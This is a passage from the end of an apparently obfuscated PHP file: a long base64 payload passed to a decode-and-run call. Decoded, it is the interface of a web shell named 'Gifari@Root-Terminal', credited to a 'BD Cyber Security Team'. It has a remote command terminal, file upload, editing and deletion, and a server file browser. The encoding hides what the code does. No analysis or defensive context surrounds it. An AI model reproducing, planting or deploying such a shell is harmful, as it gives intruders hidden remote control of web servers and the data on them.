gICAgICAgdW5zZXQoJF9TRVNTSU9OWyd1cGxvYWRfbWVzc2FnZXMnXSk7CiAgICAgICAgICAgID8+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPD9waHAgZW5kaWY7ID8+CgogICAgICAgIDxkaXYgY2xhc3M9InBhdGgtbmF2Ij4KICAgICAgICAgICAgPGEgaHJlZj0iPyI+SG9tZTwvYT4gLwogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAkcGF0aF9wYXJ0cyA9IGV4cGxvZGUoJy8nLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRjdXJyZW50X2RpcikpOwogICAgICAgICAgICAkYnVpbGRfcGF0aCA9ICcnOwogICAgICAgICAgICBmb3JlYWNoICgkcGF0aF9wYXJ0cyBhcyAkcGFydCkgewogICAgICAgICAgICAgICAgaWYgKCRwYXJ0ID09PSAnJykgY29udGludWU7CiAgICAgICAgICAgICAgICAkYnVpbGRfcGF0aCAuPSAnLycgLiAkcGFydDsKICAgICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9Ij9kaXI9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKCRidWlsZF9wYXRoKSkgLiAnIj4nIC4gaHRtbHNwZWNpYWxjaGFycygkcGFydCkgLiAnPC9hPiAvICc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgPz4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICAgICAgICAgICAgPD9waHAgaWYgKCRlZGl0TW9kZSk6ID8+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uLXRpdGxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+4pyP77iPPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5FZGl0aW5nOiA8Pz0gaHRtbHNwZWNpYWxjaGFycygkZWRpdEZpbGUpID8+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImVkaXRfZmlsZSIgdmFsdWU9Ijw/PSBodG1sc3BlY2lhbGNoYXJzKCRlZGl0RmlsZSkgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudCIgcGxhY2Vob2xkZXI9IkZpbGUgY29udGVudC4uLiI+PD89ICRlZGl0Q29udGVudCA/PjwvdGV4dGFyZWE+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0taW5saW5lIiBzdHlsZT0ibWFyZ2luLXRvcDogMTVweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4tc3VjY2VzcyIgc3R5bGU9InBhZGRpbmc6IDEwcHggMjBweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIPCfkr4gU2F2ZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIHN0eWxlPSJwYWRkaW5nOiAxMHB4IDIwcHg7IGJhY2tncm91bmQ6ICM2NjY7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg4p2MIENhbmNlbAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0cyI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC12YWx1ZSI+PD89IGNvdW50KCRmb2xkZXJzKSA/PjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj5Gb2xkZXJzPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC12YWx1ZSI+PD89IGNvdW50KCRmaWxlcykgPz48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+RmlsZXM8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWl0ZW0iPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LXZhbHVlIj48Pz0gZm9ybWF0Qnl0ZXMoYXJyYXlfc3VtKGFycmF5X2NvbHVtbigkZmlsZXMsICdzaXplJykpKSA/PjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj5Ub3RhbCBTaXplPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uIj4KICAgICAgICAgICAgICAgICAgICA8aDIgY2xhc3M9InNlY3Rpb24tdGl0bGUiPkdpZmFyaUBSb290LVRlcm1pbmFsIDwvaDI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZyBzdHlsZT0iY29sb3I6ICNmZmY7IGZvbnQtc2l6ZTogMTJweDsiPkdpZmFyaUByb290Ojw/PSBodG1sc3BlY2lhbGNoYXJzKCR0ZXJtaW5hbF9jd2QpID8+JDwvc3Ryb25nPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJHRlcm1pbmFsX291dHB1dCk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLW91dHB1dCI+PD89IGh0bWxzcGVjaWFsY2hhcnMoJHRlcm1pbmFsX291dHB1dCkgPz48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9InRlcm1pbmFsLWlucHV0LXJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGVybWluYWwtdGV4dCIgcGxhY2Vob2xkZXI9IkVudGVyIGNvbW1hbmQuLi4iIGF1dG9jb21wbGV0ZT0ib2ZmIiBhdXRvZm9jdXMgc3R5bGU9ImJhY2tncm91bmQ6ICMyYTJhMmE7IGJvcmRlci1jb2xvcjogIzQ0NDsgY29sb3I6ICNlMGUwZTA7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJ0ZXJtaW5hbCIgdmFsdWU9IjEiIHN0eWxlPSJtaW4td2lkdGg6IDcwcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDilrYgRXhlY3V0ZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24tdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj7imqE8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPlF1aWNrIEFjdGlvbnM8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icXVpY2stYWN0aW9ucyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImZvcm0taW5saW5lIiBzdHlsZT0iZmxleDogMTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld2ZvbGRlciIgcGxhY2Vob2xkZXI9Ik5ldyBmb2xkZXIiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIPCfk4EgQ3JlYXRlIEZvbGRlcgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImZvcm0taW5saW5lIiBzdHlsZT0iZmxleDogMTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld2ZpbGUiIHBsYWNlaG9sZGVyPSJOZXcgZmlsZSIgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg8J+ThCBDcmVhdGUgRmlsZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gRml4ZWQgdXBsb2FkIGZvcm0gLS0+CiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgY2xhc3M9ImZvcm0taW5saW5lIiBzdHlsZT0iZmxleDogMjsgbWluLXdpZHRoOiAzMDBweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGVzW10iIG11bHRpcGxlIHJlcXVpcmVkIHN0eWxlPSJwYWRkaW5nOiA2cHg7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWQiIHZhbHVlPSIxIiBzdHlsZT0iYmFja2dyb3VuZDogIzMyMzczYzsgYm9yZGVyLWNvbG9yOiAjMzIzNzNjOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg4qyG77iPIFVwbG9hZCBGaWxlcwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24tdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj7wn5OBPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5GaWxlIEJyb3dzZXIgLSA8Pz0gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIpID8+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtYnJvd3Nlci1jb250YWluZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8dGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGhlYWQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+TmFtZTwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5TaXplPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPlBlcm1pc3Npb25zPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPk1vZGlmaWVkPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPkFjdGlvbnM8L3RoPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RoZWFkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkY3VycmVudF9kaXIgIT09ICRST09UKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHIgY2xhc3M9ImZvbGRlci1yb3ciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aChkaXJuYW1lKCRjdXJyZW50X2RpcikpKSA/PiIgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmlsZS1pY29uIj7wn5OCPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4uCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHIgY2xhc3M9ImZvbGRlci1yb3ciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkZm9sZGVyWydwYXRoJ10pKSA/PiIgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmlsZS1pY29uIj7wn5OBPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/PSBodG1sc3BlY2lhbGNoYXJzKCRmb2xkZXJbJ25hbWUnXSkgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPi08L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD89ICRmb2xkZXJbJ3Blcm1zJ10gPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD89IGRhdGUoJ1ktbS1kIEg6aScsICRmb2xkZXJbJ21vZGlmaWVkJ10pID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWN0aW9ucyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0iZGlzcGxheTogaW5saW5lOyIgb25zdWJtaXQ9InJldHVybiBjb25maXJtKCdEZWxldGUgZm9sZGVyIDw/PSBodG1sc3BlY2lhbGNoYXJzKCRmb2xkZXJbJ25hbWUnXSkgPz4/Jyk7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGVsZXRlIiB2YWx1ZT0iPD89IGh0bWxzcGVjaWFsY2hhcnMoJGZvbGRlclsnbmFtZSddKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuLWRhbmdlciIgc3R5bGU9InBhZGRpbmc6IDRweCA4cHg7Ij5EZWxldGU8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHIgY2xhc3M9ImZpbGUtcm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3ZpZXc9PD89IHVybGVuY29kZSgkZmlsZVsnbmFtZSddKSA/PiZkaXI9PD89IHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X2RpcikpID8+IiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmlsZS1pY29uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIoJGZpbGVbJ2V4dGVuc2lvbiddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRleHQsIFsnanBnJywgJ2pwZWcnLCAncG5nJywgJ2dpZicsICdibXAnXSkpIGVjaG8gJ/CflrzvuI8nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGluX2FycmF5KCRleHQsIFsncGhwJywgJ2h0bWwnLCAnaHRtJywgJ2pzJywgJ2NzcyddKSkgZWNobyAn8J+TnSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgWyd6aXAnLCAncmFyJywgJ3RhcicsICdneiddKSkgZWNobyAn8J+XnO+4jyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgWydtcDMnLCAnd2F2JywgJ29nZyddKSkgZWNobyAn8J+OtSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgWydtcDQnLCAnYXZpJywgJ21vdiddKSkgZWNobyAn8J+OrCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgWydwZGYnXSkpIGVjaG8gJ/Cfk5UnOwogZWxzZWlmIChpbl9hcnJheSgkZXh0LCBbJ2RvYycsICdkb2N4J10pKSBlY2hvICfwn5OYJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmIChpbl9hcnJheSgkZXh0LCBbJ3hscycsICd4bHN4J10pKSBlY2hvICfwn5OXJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSBlY2hvICfwn5OEJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD89IGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ25hbWUnXSkgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/PSBmb3JtYXRCeXRlcygkZmlsZVsnc2l6ZSddKSA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Pz0gJGZpbGVbJ3Blcm1zJ10gPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD89IGRhdGUoJ1ktbS1kIEg6aScsICRmaWxlWydtb2RpZmllZCddKSA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFjdGlvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9lZGl0PTw/PSB1cmxlbmNvZGUoJGZpbGVbJ25hbWUnXSkgPz4mZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gc3R5bGU9InBhZGRpbmc6IDRweCA4cHg7Ij5FZGl0PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6IGlubGluZTsiIG9uc3VibWl0PSJyZXR1cm4gY29uZmlybSgnRGVsZXRlIGZpbGUgPD89IGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ25hbWUnXSkgPz4/Jyk7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGVsZXRlIiB2YWx1ZT0iPD89IGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ25hbWUnXSkgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0bi1kYW5nZXIiIHN0eWxlPSJwYWRkaW5nOiA0cHggOHB4OyI+RGVsZXRlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyIj4KICAgICAgICAgICBHaWZhcmkgLSBHaWZhcmkgSW5kdXN0cmllcyAmY29weTsgMjAyNCB8IEJEIEN5YmVyIFNlY3VyaXR5IFRlYW0KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K8J+SviBTYXZlCuKdjCBDYW5jZWwKR2lmYXJpIEluZHVzdHJpZXMgwqkgMjAyNCB8IEJEIEN5YmVyIFNlY3VyaXR5IFRlYW0=")); ?>
Close